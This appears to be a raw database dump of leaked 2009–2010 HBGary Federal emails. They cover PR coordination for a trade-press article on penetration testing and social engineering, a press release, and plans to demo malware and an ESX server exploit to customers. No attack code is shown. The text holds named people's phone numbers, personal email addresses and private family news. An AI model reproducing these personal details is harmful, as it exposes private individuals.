time. We are a bit oil and water.\r\n\r\nGoing to have a boy which is great since I have a daughter now.  However not sure what our future is.  Going to be out for the 1.5 week but will have email and will come in when necessary.  \r\n\r\nWhole story requires one large beer.  :)\r\n\r\nAs far as the hardware, I got guys who can put the demo together.  We need to address the concerns that Trent expressed to me last week.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 8:21 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Training and Malware\r\n\r\nOK I just sent that info to Greg and asked him to pick two that we can  \r\nput on the road.  I will let you know, might just need you to ship a  \r\nlittle bit of hardware...we\'ll see.\r\n\r\nAnd no you didn\'t mention anything about a baby!  Your having a baby?!  \r\n(by proxy of course).\r\n\r\nAaron\r\n\r\n\r\nOn Jan 5, 2010, at 8:09 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Feb is fine.  Got the baby coming tomorrow so this month will be  \r\n> tight.\r\n> Did I mention that to you?\r\n>\r\n> For the malware, I would create travelling demo so we could take it to\r\n> potential customers.  Would rather be live.  I ordered about 80K of\r\n> equipment in December and it is stacked in my office.  I have at  \r\n> least 6\r\n> laptops somewhere in the stacks.\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 05, 2010 8:08 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Training and Malware\r\n>\r\n> Brian,\r\n>\r\n> Looks like the next training class isn\'t until February right now, and\r\n> what I am being advised because of your folks more advanced capability\r\n> the class you want is Malware Analysis using Responder Pro.  The next\r\n> version of that class is Mar11-12 in Reston, VA.  Let me know what you\r\n> want to do there and I will put u in contact with the training guy.\r\n>\r\n> On the Malware.  Do you want these live or can they be recorded\r\n> video.  Reason being the VMWare ESX server exploit, well requires an\r\n> active ESX server on the net.  We have a few at our Colo but we use\r\n> them for the feed processor so can\'t reallocate for long periods of\r\n> time.  We can prepare it for the demo video, shoot, then put them back\r\n> to normal.  Let me know what u want to do here.  Each will take a\r\n> little bit of prep time to set up, and we would need a machine that I\r\n> guess we would take in to customers?  If the videos will work that\r\n> would be cleanest I think, just put them on a CD and shop them around\r\n> along with the technical descriptions.\r\n>\r\n> Aaron\r\n\r\n',10421,'aaron_hbgary_com/10421.html'),(936,'2010-01-05','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000153.M778645P3547Q936.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Question re Cybersecurity story','Thanks very much Aaron -- I\'ll send over to John now and let you know if he has any further questions. Best, Karen&nbsp;--- On Mon, 1/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 11:20 PM\r\n1. &nbsp;That is partially correct. &nbsp;Typically Penetration Tests are conducted by external resources. &nbsp;Some organizations are large enough, say the Army for example, they have Pen teams that conduct these tests for various organizations within the Army. &nbsp;These teams may be comprised of a mixture of military and contractor personnel. &nbsp;For most small organizations/companies this work is typically hired out. &nbsp;In some cases organizations will try to do this themselves by reading up on certain Pen testing tools and techniques, but this is never a good idea. &nbsp;Pen tests typically are focused on penetrating the perimeter of an organizations networks. &nbsp;This usually does not involve any social engineering or other techniques that involve employees. &nbsp;Pen testing is typically a blind attack against the infrastructure using a variety of techniques and tools to bypass perimeter security; password crackers,\r\n IP and port scanners, web and application exploit tools. &nbsp;Vulnerability Assessments and tiger teams can either be internal or external teams that review policies, conduct interviews, review logs, test network and system security postures, and in some cases conduct social engineering to test the vulnerability of the employees to reveal information that could lead to access of unauthorized systems and information. &nbsp;In a healthy organization both of these types of tests should be built in to the security policies and procedures. &nbsp;The results of these tests should be tightly integrated into assessment of the training program of the organization as well as the implementation of security policies and procedures.\r\n\r\n2. &nbsp;If social engineering is allowed then there are a wide variety of techniques that are used but typically start in the same manner as an external penetration attack. &nbsp;The first thing an assessor will do is get to know the organization as best he/she can through publicly available information, this could include information on the companies website, thrown in the trash, or left laying on desks and in drawers. &nbsp;The parameters of a social engineering test are carefully defined based on the goals of the test, whether it is to simulate an external or insider threat, etc. &nbsp;Once the assessors have enough information they start to probe the organization for weaknesses in practice and judgement, this could be through spear phishing attacks, targeted phone calls, etc.\r\n\r\n3. &nbsp;Like everything else there are a variety of reasons why an organization would deny social engineering. &nbsp;Most IT security specialists know very well that people are the weakest link of computer systems and usually socially engineering attacks are successful, so some companies don\'t see the point in testing something they know will fail and potentially create legal issues or a negative work environment for employees. &nbsp;In short most organizations are afraid to conduct social engineering tests. &nbsp;This is an unfortunate perception. &nbsp;If properly integrated into an organizations training program there is a lot of valuable lessons that will be ingrained based on personal experiences. &nbsp;The best lessons are those either personally experienced or experience by people around us.\r\n\r\n4. &nbsp;My recommendation is for a more robust IT security training program that provides more immersive information that is embedded and organic to the organization, not just posters on the wall and a once a year multiple choice web based exam. &nbsp;There should be quarterly vulnerability assessments conducted internally by the IT security staff, with yearly external vulnerability assessments. &nbsp;Penetration tests should be conducted as needed, but at least once a year or when significant changes are made to the IT security infrastructure. &nbsp;This could be adding new functionality to the corporate website, employee portals, dmz, firewall rules, additional perimeter hardware/software, etc.\r\n\r\nHappy to provide further information if any areas seem unclear.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 5:37 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, FCW editor John Moore has some followup questions based on his interview with you last week. Please keep your&nbsp;answers short and&nbsp;know that they may be used as quotes from you in the article. \r\n&nbsp;\r\nPlease send final answers to me and then I\'ll pass on to John. John asked if you could provide the answers by EOD Tuesday (tomorrow) if possible. If you need more time, please let me know and I\'ll check with John. Thanks! Best, Karen&nbsp;--- On Mon, 1/4/10, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 2:15 PM\r\n\r\nKaren:\r\n\r\nI have a couple of follow-up questions for Aaron Barr:\r\n\r\n* From the interview, it\'s my understanding that penetration tests are typically performed by external consultants and probe an organization\'s perimeter security. Testers may acquire usernames/passwords in the process (through password guessing tools?). Vulnerability assessment tiger teams, meanwhile, consist of internal IT staff. The team scrutinizes an organization\'s security policies and procedures and may engage in social engineering, if permitted. Is that the correct distinction?\r\n\r\n* How do tiger teams pursue social engineering attacks? Do they simulate phishing scams to see if they can extract passwords? Do they phone end users? Both?&nbsp;\r\n\r\n* Why do some organizations prohibit social engineering as part of tiger team assessments?&nbsp;\r\n\r\n* The insight gained from penetration tests/tiger teams (the number of passwords obtained and how they were obtained, for example) can be integrated back into an agency\'s training program. So, in other words, an agency might emphasize phishing awareness if many users fall for scams?&nbsp;\r\n\r\n* Just to clarify, Aaron recommends quarterly tiger team vulnerability assessments and annual external penetration tests -- is that correct?\r\nRegards,\r\n\r\nJohn&nbsp;\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 11:04 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi John, In case you wanted to see some background on HBGary Federal and Aaron Barr, I sent you the recent release below. Best, Karen\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nFor Immediate Release \r\n&nbsp; \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\n&nbsp; \r\nNew Venture Led By Cybersecurity Experts and Former&nbsp;Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\n&nbsp; \r\nSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\n&nbsp; \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n&nbsp; \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\n&nbsp; \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n&nbsp; \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and\r\n Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp;\r\n HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as\r\n an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program\r\n manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his\r\n tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\n&nbsp; \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; --- On Mon, 12/28/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 4:13 PM\r\nOk, thanks.&nbsp; \r\n\r\n\r\n\r\nOn Dec 28, 2009, at 5:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just to reconfirm, Aaron will call you tomorrow, Tuesday Dec. 29th&nbsp;at 10 AM ET. I will be on the call as well.&nbsp;Best, Karen--- On Wed, 12/23/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"John Moore\" &lt;jmwriter@twcny.rr.com&gt;Date: Wednesday, December 23, 2009, 1:36 PM\r\n\r\n\r\n\r\n\r\nGreat -- thanks so much John. Best, Karen--- On Wed, 12/23/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, December 23, 2009, 6:51 AM\r\nThat time works.&nbsp; \r\n\r\nI\'m mainly interested in the second and third points mentioned below:\r\n\r\n* Do most agencies conduct pen tests and vulnerability assessments to test the effectiveness of training? How often should those tests/assessments be conducted? How much do they cost?\r\n\r\n* I\'d like more detail on how DRM works. To what extent is it available today? How difficult/costly is it to deploy?\r\n\r\nI\'ll be at (315) 488-8111.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 6:49 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nGreat, John -- how about 10 AM ET on Tuesday? If you can, please&nbsp;send over some sample questions, or Aaron can just elaborate in more detail on his points below. He will plan to call you if that is convenient -- please just send your number. Best, Karen&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 12:06 PM\r\nAny time between 8:00 a.m. and 11:00 a.m. ET will work on Tuesday.&nbsp; \r\n\r\n\r\n\r\nOn Dec 22, 2009, at 2:17 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Aaron will be on vacation next week, but is&nbsp;very interested in speaking&nbsp;to you!&nbsp;Please suggest a few times for Tuesday and I\'ll reconfirm final time with Aaron. Best, Karen&nbsp;--- On Tue, 12/22/09, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 10:40 AM\r\n\r\n\r\nKaren:\r\n\r\nWould he have any time to talk on the 28th or 29th?\r\n\r\n\r\nOn Dec 21, 2009, at 2:52 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John, If you need an expert for this story, HBGary Federal CEO Aaron Barr would be a great resource for you. Among the topics he can discuss: \r\n&nbsp;\r\n&nbsp;\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world, you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity, you can get your clearance revoked and lose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n&nbsp; \r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessments, on the hardened state of the systems. &nbsp;For example, how many user names and passwords could a pen tester acquire? &nbsp;How many systems could they penetrate? &nbsp;You can conduct training and then, a few months later, retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n&nbsp; \r\n\r\nIn the future, one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nAbout HBGary Federal and CEO Aaron Barr \r\nHBGary Federal recently launched to focus on delivering HBGary\'s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. Prior to joining HBGary Federal, Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. \r\n&nbsp;\r\n&nbsp;\r\nPlease let me know if you would like to talk to Aaron. Best, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764\r\n&nbsp;\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, December 18, 2009, 7:28 AM\r\n\r\nI\'m writing the security feature for the Jan. 25 issue. The topic is end user IT security training. How do organizations measure the impact of training and whether employees are following through (adhering to agency security policies).&nbsp; \r\n\r\nJohn\r\n\r\n\r\n\r\nOn Dec 14, 2009, at 2:24 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHi John, Just wanted to check back -- has this story been assigned? Thanks, Karen--- On Thu, 12/10/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Question re Cybersecurity storyTo: jmwriter@twcny.rr.comDate: Thursday, December 10, 2009, 3:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi John, Can you please tell me who is working on the upcoming cybersecurity story slated for January? I am working with a few security companies who might be a good fit. Thanks, Best, Karen&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',90,'aaron_hbgary_com/90.html'),(937,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000154.M278574P3547Q938.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Question re Cybersecurity story','Thanks.I would like to set up a time to briefly talk about other talking points or ideas for PR.Areas I am interested in and knowledgable of:AttributionState of National CybersecurityMechanisms to fix National CybersecurityCloudMobileFuture of Cybersecurity...probably others.AaronOn Jan 5, 2010, at 9:29 AM, Karen Burke wrote:Thanks very much Aaron -- I\'ll send over to John now and let you know if he has any further questions. Best, Karen&nbsp;--- On Mon, 1/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 11:20 PM\r\n1. &nbsp;That is partially correct. &nbsp;Typically Penetration Tests are conducted by external resources. &nbsp;Some organizations are large enough, say the Army for example, they have Pen teams that conduct these tests for various organizations within the Army. &nbsp;These teams may be comprised of a mixture of military and contractor personnel. &nbsp;For most small organizations/companies this work is typically hired out. &nbsp;In some cases organizations will try to do this themselves by reading up on certain Pen testing tools and techniques, but this is never a good idea. &nbsp;Pen tests typically are focused on penetrating the perimeter of an organizations networks. &nbsp;This usually does not involve any social engineering or other techniques that involve employees. &nbsp;Pen testing is typically a blind attack against the infrastructure using a variety of techniques and tools to bypass perimeter security; password crackers,\r\n IP and port scanners, web and application exploit tools. &nbsp;Vulnerability Assessments and tiger teams can either be internal or external teams that review policies, conduct interviews, review logs, test network and system security postures, and in some cases conduct social engineering to test the vulnerability of the employees to reveal information that could lead to access of unauthorized systems and information. &nbsp;In a healthy organization both of these types of tests should be built in to the security policies and procedures. &nbsp;The results of these tests should be tightly integrated into assessment of the training program of the organization as well as the implementation of security policies and procedures.\r\n\r\n2. &nbsp;If social engineering is allowed then there are a wide variety of techniques that are used but typically start in the same manner as an external penetration attack. &nbsp;The first thing an assessor will do is get to know the organization as best he/she can through publicly available information, this could include information on the companies website, thrown in the trash, or left laying on desks and in drawers. &nbsp;The parameters of a social engineering test are carefully defined based on the goals of the test, whether it is to simulate an external or insider threat, etc. &nbsp;Once the assessors have enough information they start to probe the organization for weaknesses in practice and judgement, this could be through spear phishing attacks, targeted phone calls, etc.\r\n\r\n3. &nbsp;Like everything else there are a variety of reasons why an organization would deny social engineering. &nbsp;Most IT security specialists know very well that people are the weakest link of computer systems and usually socially engineering attacks are successful, so some companies don\'t see the point in testing something they know will fail and potentially create legal issues or a negative work environment for employees. &nbsp;In short most organizations are afraid to conduct social engineering tests. &nbsp;This is an unfortunate perception. &nbsp;If properly integrated into an organizations training program there is a lot of valuable lessons that will be ingrained based on personal experiences. &nbsp;The best lessons are those either personally experienced or experience by people around us.\r\n\r\n4. &nbsp;My recommendation is for a more robust IT security training program that provides more immersive information that is embedded and organic to the organization, not just posters on the wall and a once a year multiple choice web based exam. &nbsp;There should be quarterly vulnerability assessments conducted internally by the IT security staff, with yearly external vulnerability assessments. &nbsp;Penetration tests should be conducted as needed, but at least once a year or when significant changes are made to the IT security infrastructure. &nbsp;This could be adding new functionality to the corporate website, employee portals, dmz, firewall rules, additional perimeter hardware/software, etc.\r\n\r\nHappy to provide further information if any areas seem unclear.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 5:37 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, FCW editor John Moore has some followup questions based on his interview with you last week. Please keep your&nbsp;answers short and&nbsp;know that they may be used as quotes from you in the article. \r\n&nbsp;\r\nPlease send final answers to me and then I\'ll pass on to John. John asked if you could provide the answers by EOD Tuesday (tomorrow) if possible. If you need more time, please let me know and I\'ll check with John. Thanks! Best, Karen&nbsp;--- On Mon, 1/4/10, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 2:15 PM\r\n\r\nKaren:\r\n\r\nI have a couple of follow-up questions for Aaron Barr:\r\n\r\n* From the interview, it\'s my understanding that penetration tests are typically performed by external consultants and probe an organization\'s perimeter security. Testers may acquire usernames/passwords in the process (through password guessing tools?). Vulnerability assessment tiger teams, meanwhile, consist of internal IT staff. The team scrutinizes an organization\'s security policies and procedures and may engage in social engineering, if permitted. Is that the correct distinction?\r\n\r\n* How do tiger teams pursue social engineering attacks? Do they simulate phishing scams to see if they can extract passwords? Do they phone end users? Both?&nbsp;\r\n\r\n* Why do some organizations prohibit social engineering as part of tiger team assessments?&nbsp;\r\n\r\n* The insight gained from penetration tests/tiger teams (the number of passwords obtained and how they were obtained, for example) can be integrated back into an agency\'s training program. So, in other words, an agency might emphasize phishing awareness if many users fall for scams?&nbsp;\r\n\r\n* Just to clarify, Aaron recommends quarterly tiger team vulnerability assessments and annual external penetration tests -- is that correct?\r\nRegards,\r\n\r\nJohn&nbsp;\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 11:04 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi John, In case you wanted to see some background on HBGary Federal and Aaron Barr, I sent you the recent release below. Best, Karen\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nFor Immediate Release \r\n&nbsp; \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies &nbsp; \r\nNew Venture Led By Cybersecurity Experts and Former&nbsp;Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera &nbsp; \r\nSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. &nbsp; \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. &nbsp; \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” &nbsp; \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. &nbsp; \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and\r\n Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; &nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp;\r\n HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. &nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. You can also contact Mr. Barr at aaron@hbgary.com or Mr. Vera at ted@hbgary.com. &nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as\r\n an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. &nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program\r\n manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During 